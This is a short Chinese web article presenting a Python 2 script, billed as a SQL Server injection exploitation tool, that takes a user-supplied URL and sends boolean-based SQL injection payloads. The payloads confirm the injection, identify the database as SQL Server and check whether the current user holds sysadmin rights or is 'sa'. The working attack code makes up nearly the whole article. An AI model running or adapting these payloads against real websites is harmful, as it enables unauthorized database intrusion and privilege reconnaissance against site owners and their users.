视频1 视频21 视频41 视频61 视频文章1 视频文章21 视频文章41 视频文章61 推荐1 推荐3 推荐5 推荐7 推荐9 推荐11 推荐13 推荐15 推荐17 推荐19 推荐21 推荐23 推荐25 推荐27 推荐29 推荐31 推荐33 推荐35 推荐37 推荐39 推荐41 推荐43 推荐45 推荐47 推荐49 关键词1 关键词101 关键词201 关键词301 关键词401 关键词501 关键词601 关键词701 关键词801 关键词901 关键词1001 关键词1101 关键词1201 关键词1301 关键词1401 关键词1501 关键词1601 关键词1701 关键词1801 关键词1901 视频扩展1 视频扩展6 视频扩展11 视频扩展16 文章1 文章201 文章401 文章601 文章801 文章1001 资讯1 资讯501 资讯1001 资讯1501 标签1 标签501 标签1001 关键词1 关键词501 关键词1001 关键词1501 专题2001
Python编写检测数据库SA用户的方法
2020-11-27 14:38:20 责编:小采
文档

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com 
#-*- coding: UTF-8 -*- 
from sys import exit 
from urllib import urlopen 
from string import join,strip 
from re import search 
 
def is_sqlable(): 
 sql1="%20and%201=2" 
 sql2="%20and%201=1" 
 urlfile1=urlopen(url+sql1) 
 urlfile2=urlopen(url+sql2) 
 htmlcodes1=urlfile1.read() 
 htmlcodes2=urlfile2.read() 
 if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
 print "[信息]恭喜!这个URL是有注入漏洞的!n" 
 print "[信息]现在判断数据库是否是SQL Server,请耐心等候....." 
 is_SQLServer() 
 else: 
 print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
 sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
 urlfile=urlopen(url+sql) 
 htmlcodes=urlfile.read() 
 if not search(judge,htmlcodes): 
 print "[错误]数据库好像不是SQL Server的!n" 
 else: 
 print "[信息]确认是SQL Server数据库!n" 
 print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
 is_sysadmin() 
 
 
def is_sysadmin(): 
 sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
 urlfile = urlopen(url+sql) 
 htmlcodes = urlfile.read() 
 if not search(judge,htmlcodes): 
 print "[错误]当前数据库用户不具有sysadmin权限!n" 
 else: 
 print "[信息]当前数据库用户具有sysadmin权限!n" 
 print "[信息]检测当前用户是不是SA,请耐心等待......" 
 is_sa() 
 
def is_sa(): 
 sql = "%20and%20'sa'=(select%20System_user)"; 
 urlfile = urlopen(url+sql) 
 htmlcodes = urlfile.read() 
 if not search(judge,htmlcodes): 
 print "[错误]当前数据库用户不是SA!n" 
 else: 
 print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n" 
print " ^o^SQL Server注入利用工具^o^ " 
print " Email: little.bu@hotmail.comn" 
print "========================================================================"; 
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:') 
if url == '': 
 print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式" 
 exit(1) 
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:") 
if judge == '': 
 print "[错误]判断字符串不能为空!" 
 exit(1) 
 
is_sqlable()

下载本文
显示全文
专题